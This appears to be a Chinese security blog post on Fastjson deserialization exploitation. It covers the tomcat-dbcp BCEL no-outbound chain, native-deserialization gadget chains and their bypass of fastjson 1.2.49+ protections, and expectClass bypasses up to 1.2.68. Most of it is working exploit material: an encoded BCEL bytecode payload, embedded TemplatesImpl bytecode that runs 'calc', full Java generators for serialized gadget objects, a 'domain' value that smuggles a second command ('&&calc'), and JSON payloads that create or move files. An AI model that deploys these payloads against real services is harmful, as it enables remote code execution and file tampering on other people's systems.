Fastjson反序列化2

Fastjson反序列化2

上一篇主要是Fastjson反序列化的基本原理和一些绕过方法,这一篇作为补充,写上一篇没提到的链以及反序列化细节问题和fastjson>=1.2.48的绕过以及原生反序列化等,作为一个补充

Bcel不出网链

这个链主要是应对不出网的情形,之前也有TemplatesImpl利用链可以加载恶意字节码,但是需要在parse()时额外设置Feature.SupportNonPublicField以允许访问private属性outputProperties,利用条件还是比较苛刻。

而bcel利用链不需要反连,不要求特定的代码写法,直接传入恶意代码bytecode完成利用,而且依赖包 tomcat-dbcp 使用也比较广泛,是Tomcat的数据库驱动组件。

利用链:BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()

1
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A
1
2
3
4
5
6
7
8
9
10
11
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A"
}
}: "y"
}

但是getConnection()肯定像getoutputProperties会被fastjson当作访问器而调用,所以这段payload先把BasicDataSource对象放在value处,然后又变成key处,触发fastjson对BasicDataSource对象使用toString()触发其任意getter。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;

import java.io.IOException;


public class Fastjson_Bcel {
public static void main(String[] args) throws IOException {
JavaClass cls = Repository.lookupClass(Evil.class);
String code = Utility.encode(cls.getBytes(),true);
System.out.println(code);
String payload = "{\n" +
" {\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \""+"$$BCEL$$"+code+"\"\n" +
" }\n" +
" }: \"x\"\n" +
"}" ;
JSON.parse(payload);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
//Evil.class
import java.io.IOException;

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

调试过程

取到第一个{,把以后内容的当作key解析,即:

1
2
3
4
5
6
7
8
9
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c30$Q$i$b7$a5NBJ$a1P$de$efg$cb$81$5e$b8$VqA$m$n$c2C$U$VqL$8di$5dB$82$d2$U$f8$p$ce$5c$A$81$Ew$3e$K$b1$O$a8T$CK$d9$cd$ce$cc$8e$d7$f6$c7$e7$cb$h$80u$U$y$98$Y$b50$86q$D$T$3aOrLqL$5bHc$86c$96c$8e$n$bd$a1$7c$Vm2$q$L$c5$wCj$x8$97$MYG$f9$f2$a0$7dU$93$e1$89$5b$f3$I$c99$81p$bd$aa$h$w$5d$ff$80$a9$a8$a1Z$e4$e1l$df$u$af$cc$60l$I$ef$c7$8e$R$9dw$9a$ee$8d$5bRAi$f7p$fbN$c8$ebH$F$3e$c92$95$c8$V$97$fb$eeulCC1X$95$a0$j$K$b9$a3$b4$ad$a9$ed$d6t$af$N$L$bd$i$f36$W$b0H$fb$d1$I$c2$c6$S$96$Z$G$ff$f1f$Y$8fQ$cf$f5$eb$a5$e3$b6$l$a9$x$d9$n$b5$d7$Kyhs$86$fe_$e1a$ad$vE$c40$f0$a7$97$e6$aa$cb$a8S$e4$LE$e7$8f$86$ce$93$92wR0$ac$U$ba$d8J$U$w$bf$5e$een8$K$D$n$5b$zj$Y$edV$9e4$c2$e0V_D$b9X$c5$i$Mz5$bd$S$60$fa$f0$Um$aaJ$94$Z$e5$9e$d5$t$b0$87$98$cePL$c7$60$S$7d$U$edo$B$b2$e8$a7l$60$a0$d3$7cA$K$cd$8d$3c$p$91K$3e$ouz$8f$cc$de$x$d2g$e4$c6$df$lb$d2$qi$P$J$b5$ed0$fdis3F9a$GaVg$9b$M$e19$MR5D$lG$c2$e1$c8$9bD$M$c7$93$8d$7c$BZv$Er$84$C$A$A"
}
}

第一次先把x解析为key

然后同样加载出BasicDataSource类,还原它的属性

把BasicDataSource类放入jsonObject中(因为有x做键)

这里使用hashmap来储存键值

然后直接弹计算机了?,其实是在map.put后idea对JSONObject进行了toString

忽略呈现器就不会自动toString了

最后把产生的object返回,成为key,然后把key用toString处理

然后就在里面调用了getter。

Tips

BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。

比如:6.0.53、7.0.81等版本。MVN 依赖写法如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>

在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,所以构造PoC的时候需要注意一下。 MVN依赖写法如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

Fastjson原生反序列化

fastjson<=1.2.48

JSONArray与JSONObject的toString方法都是会调用任意getter的,同时它们实现了Serializable接口,可以通过反序列化构造链子打之前的几种加载恶意类的方法。

所以先构造出恶意JSONObject,用其他类包装以触发toString。

1
2
3
4
5
6
7
8
9
10
11
public static Object rtJSONObject() throws Exception {
String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=";
byte[] code = Base64.getDecoder().decode(base64Code);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "666");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("key", obj);
return jsonObject;
}

BadAttributeValueExpException

这里反序列化获取val属性,如果不为字符串则toString()

直接反射改一下就行

1
2
3
4
5
6
7
8
9
10
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object rtBadAttributeobj() throws Exception {
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",rtJSONObject());
return badAttributeValueExpException;
}

fastjson>=1.2.49

为JSONObject和JSONArray写了readObject方法,反序列化时对key和value进行checkAutotype拦截恶意类使用

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

但是这种拦截实际上是不安全的,流程是其中的ObjectInputStream -> readObject,然后SecureObjectInputStream.readObject(),然后再进入readObject -> resolveClass

1
2
3
ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

本身ObjectInputStream就不安全,套了一层安全的SecureObjectInputStream

但是SecureObjectInputStream -> readObject -> resolveClass不会被用来处理引用类型,导致如果我们一开始传入了一个引用类型,就能直接绕过检查。

而向List、set、map类型中添加同样的对象时即可成功利用

伪代码长这样

1
2
3
4
5
6
7
8
9
10
//获取基础恶意类
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("calc");
//调getter的而已jsonArray
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
//用arrayList包装
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(bd);
arrayList.add(templates);

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//<dependency>
// <groupId>com.alibaba</groupId>
// <artifactId>fastjson</artifactId>
// <version>1.2.48</version>
//</dependency>
//<dependency>
// <groupId>org.javassist</groupId>
// <artifactId>javassist</artifactId>
// <version>3.19.0-GA</version>
//</dependency>
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.*;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Fastjson2 {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object rtEvilObj() throws Exception {
String base64Code ="yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=";
byte[] code = Base64.getDecoder().decode(base64Code);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "666");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static Object rtJsonArray() throws Exception {
JSONArray jsonArray = new JSONArray();
jsonArray.add(rtEvilObj());
return jsonArray;
}
public static Object rtBadAttributeObj() throws Exception {
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",rtJsonArray());
return badAttributeValueExpException;
}
public static Object rtMap() throws Exception {
HashMap hashMap = new HashMap();
hashMap.put(rtEvilObj(),rtBadAttributeObj());
return hashMap;
}
public static Object rtList() throws Exception {
List list = new ArrayList();
list.add(rtEvilObj());
list.add(rtBadAttributeObj());
return list;
}
public static Object rtSet() throws Exception {
Set set = new HashSet();
set.add(rtEvilObj());
set.add(rtBadAttributeObj());
return set;
}
public static void main(String[] args) throws Exception {
System.out.println("Map:"+Base64.getEncoder().encodeToString(Output.serialize(rtMap()).toByteArray()));
System.out.println("List:"+Base64.getEncoder().encodeToString(Output.serialize(rtList()).toByteArray()));
System.out.println("Set:"+Base64.getEncoder().encodeToString(Output.serialize(rtSet()).toByteArray()));
}

}

1.2.48<=fastjson<=1.2.68

https://www.yuque.com/ph0ebus/security/orv8ct6a29f1q7yr#t0b4v

https://blog.csdn.net/mole_exp/article/details/122315526

https://su18.org/post/fastjson/#8-fastjson-1268

如果传入了expectClass肯定是能导致绕过的

而ThrowableDeserializer、JavaBeanDeserializer中的checkAutotype正好传入了

ThrowableDeserializer

假设有一个有问题的Exception类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.alibaba.fastjson.parser;

import java.io.IOException;

public class PingException extends Exception {

private String domain;

public PingException() {
super();
}

public String getDomain() {
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c ping "+domain);
} catch (IOException e) {
return e.getMessage();
}

return super.getMessage();
}
}
1
2
3
4
5
{
"@type":"java.lang.Exception",
"@type":"com.alibaba.fastjson.parser.PingException",
"domain":"b1ue.cn&&calc"
}

这样就能通过Exception(白名单类)找到ThrowableDeserializer传入exceptClass,然后成功加载PingException类了

Exception在白名单

然后通过Exception类获取到了ThrowableDeserializer

然后ThrowableDeserializer中的expectClass被传入了Throwable.class,这是绕过的关键

因为传入了expectClass,所以expectClassFlag为true

然后加载出有问题的任意继承Exception类的类

JavaBeanDeserializer

JavaBeanDeserializer类似,并且expectClass可控

java.lang.AutoCloseable是一个在白名单中,使用fastjson默认的反序列化器JavaBeanDeserializer,并且子类能进行许多危险操作的类,分析过程和上面差不多

创建空文件

1
2
3
4
5
6
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/1.txt",
"append": "false"
}

文件迁移

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
1
2
3
4
5
6
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'./111',
'tempPath':'/tmp/111'
}